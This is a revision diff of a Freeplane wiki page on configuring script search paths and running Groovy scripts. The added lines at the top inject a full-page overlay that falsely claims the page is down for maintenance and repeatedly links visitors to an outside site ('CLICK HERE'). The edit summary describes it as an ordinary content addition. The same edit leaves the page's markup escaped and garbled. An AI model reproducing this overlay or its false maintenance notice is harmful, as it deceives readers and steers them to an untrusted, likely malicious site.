Difference between revisions of "External script file execution"

From Freeplane - free mind mapping and knowledge management software
(Editing External script file execution: Added a section on adding directories to the Script Search Path using the Perferences dialog, and addtionally added some examples (one for windows))
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ucozisit.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ucozisit.co.cc CLICK HERE]=
 +
----
 +
</div>
 
== Setting the External Script Directories Search Path ==
 
== Setting the External Script Directories Search Path ==
  
There is a mechanism to load and execute scripts from ''script directories'' matching a given name scheme (hardcoded: <tt>".*\.groovy"</tt>).  
+
There is a mechanism to load and execute scripts from ''script directories'' matching a given name scheme (hardcoded: &lt;tt&gt;&quot;.*\.groovy&quot;&lt;/tt&gt;).  
  
# The list of ''script directories'' is configurable by selecting <tt>tools->Scripting</tt> from the menu, and then in the resulting <tt>Preferences</tt> window, click the <tt>Scripting</tt> button.  
+
# The list of ''script directories'' is configurable by selecting &lt;tt&gt;tools-&gt;Scripting&lt;/tt&gt; from the menu, and then in the resulting &lt;tt&gt;Preferences&lt;/tt&gt; window, click the &lt;tt&gt;Scripting&lt;/tt&gt; button.  
# In the <tt>Script search path (separate entries by ;;)</tt> text box, you can specify additional pathes where Freeplane can search for Groovy Scripts.
+
# In the &lt;tt&gt;Script search path (separate entries by ;;)&lt;/tt&gt; text box, you can specify additional pathes where Freeplane can search for Groovy Scripts.
 
=== Windows ===
 
=== Windows ===
Specify your path as you would normally in windows, just be sure to add a <tt>;;</tt> at the end of the path you add to the existing script path.
+
Specify your path as you would normally in windows, just be sure to add a &lt;tt&gt;;;&lt;/tt&gt; at the end of the path you add to the existing script path.
 
==== Example ====
 
==== Example ====
If you wanted the default <tt>%USERPROFILE%\.freeplane\scripts</tt> directory, and also wanted to use <tt>C:\temp</tt> you would set :
+
If you wanted the default &lt;tt&gt;%USERPROFILE%\.freeplane\scripts&lt;/tt&gt; directory, and also wanted to use &lt;tt&gt;C:\temp&lt;/tt&gt; you would set :
  <tt>scripts;;C:\temp;;</tt>
+
  &lt;tt&gt;scripts;;C:\temp;;&lt;/tt&gt;
  
 
=== Linux ===
 
=== Linux ===
Line 21: Line 29:
 
(todo)
 
(todo)
  
(default: <tt>scripts</tt>, i.e. directory <tt>scripts</tt> in the freeplane user home).  
+
(default: &lt;tt&gt;scripts&lt;/tt&gt;, i.e. directory &lt;tt&gt;scripts&lt;/tt&gt; in the freeplane user home).  
  
 
== Executing Scripts ==
 
== Executing Scripts ==
*Matching scripts are listed in the menu <tt>Extra->Scripts</tt>.
+
*Matching scripts are listed in the menu &lt;tt&gt;Extra-&gt;Scripts&lt;/tt&gt;.
  
 
== Hot Key Assignment to Execution of Scripts ==
 
== Hot Key Assignment to Execution of Scripts ==
 
*Due to the flexible standard hotkey assignment it's possible to create hotkeys for these scripts.
 
*Due to the flexible standard hotkey assignment it's possible to create hotkeys for these scripts.
 
For each script there is a submenu with three menu entries:  
 
For each script there is a submenu with three menu entries:  
**''Execute for one selected node'': This will invoke the script for one selected node (arbitrarily choosen), i.e. if three nodes are selected, it will be executed once, with the <tt>node</tt> variable set to one of the selected nodes. Since setting of <tt>node</tt> is not really predictable this variable should not be used.  
+
**''Execute for one selected node'': This will invoke the script for one selected node (arbitrarily choosen), i.e. if three nodes are selected, it will be executed once, with the &lt;tt&gt;node&lt;/tt&gt; variable set to one of the selected nodes. Since setting of &lt;tt&gt;node&lt;/tt&gt; is not really predictable this variable should not be used.  
 
**''Execute for all selected nodes'': This will invoke the script on every selected node, i.e. if three nodes are selected, it will be executed three times, once for each node with the ''node'' variable set to the respective node.  
 
**''Execute for all selected nodes'': This will invoke the script on every selected node, i.e. if three nodes are selected, it will be executed three times, once for each node with the ''node'' variable set to the respective node.  
 
**''Execute for all selected nodes, recursively'': This will invoke the script on every selected node and recursively on all of its children.
 
**''Execute for all selected nodes, recursively'': This will invoke the script on every selected node and recursively on all of its children.
Line 36: Line 44:
  
 
== Script Error Logging ==
 
== Script Error Logging ==
*Errors while loading or while execution of scripts are handled by error message popups. (See resources <tt>ExecuteScriptError.text</tt> and <tt>ReadScriptError.text</tt>.)
+
*Errors while loading or while execution of scripts are handled by error message popups. (See resources &lt;tt&gt;ExecuteScriptError.text&lt;/tt&gt; and &lt;tt&gt;ReadScriptError.text&lt;/tt&gt;.)
  
 
[[Category:Scripting]]
 
[[Category:Scripting]]

Revision as of 03:57, 24 November 2010


Setting the External Script Directories Search Path

There is a mechanism to load and execute scripts from script directories matching a given name scheme (hardcoded: <tt>".*\.groovy"</tt>).

  1. The list of script directories is configurable by selecting <tt>tools->Scripting</tt> from the menu, and then in the resulting <tt>Preferences</tt> window, click the <tt>Scripting</tt> button.
  2. In the <tt>Script search path (separate entries by ;;)</tt> text box, you can specify additional pathes where Freeplane can search for Groovy Scripts.

Windows

Specify your path as you would normally in windows, just be sure to add a <tt>;;</tt> at the end of the path you add to the existing script path.

Example

If you wanted the default <tt>%USERPROFILE%\.freeplane\scripts</tt> directory, and also wanted to use <tt>C:\temp</tt> you would set :

<tt>scripts;;C:\temp;;</tt>

Linux

(todo)

Example

(todo)

MacOS X

(todo)

Example

(todo)

(default: <tt>scripts</tt>, i.e. directory <tt>scripts</tt> in the freeplane user home).

Executing Scripts

  • Matching scripts are listed in the menu <tt>Extra->Scripts</tt>.

Hot Key Assignment to Execution of Scripts

  • Due to the flexible standard hotkey assignment it's possible to create hotkeys for these scripts.

For each script there is a submenu with three menu entries:

    • Execute for one selected node: This will invoke the script for one selected node (arbitrarily choosen), i.e. if three nodes are selected, it will be executed once, with the <tt>node</tt> variable set to one of the selected nodes. Since setting of <tt>node</tt> is not really predictable this variable should not be used.
    • Execute for all selected nodes: This will invoke the script on every selected node, i.e. if three nodes are selected, it will be executed three times, once for each node with the node variable set to the respective node.
    • Execute for all selected nodes, recursively: This will invoke the script on every selected node and recursively on all of its children.
      • Note: If a node and a child node are both selected, then the script is invoked on the child node twice.
  • To execute a script on all nodes in a map one has to select the root node and execute the script recursively.

Script Error Logging

  • Errors while loading or while execution of scripts are handled by error message popups. (See resources <tt>ExecuteScriptError.text</tt> and <tt>ReadScriptError.text</tt>.)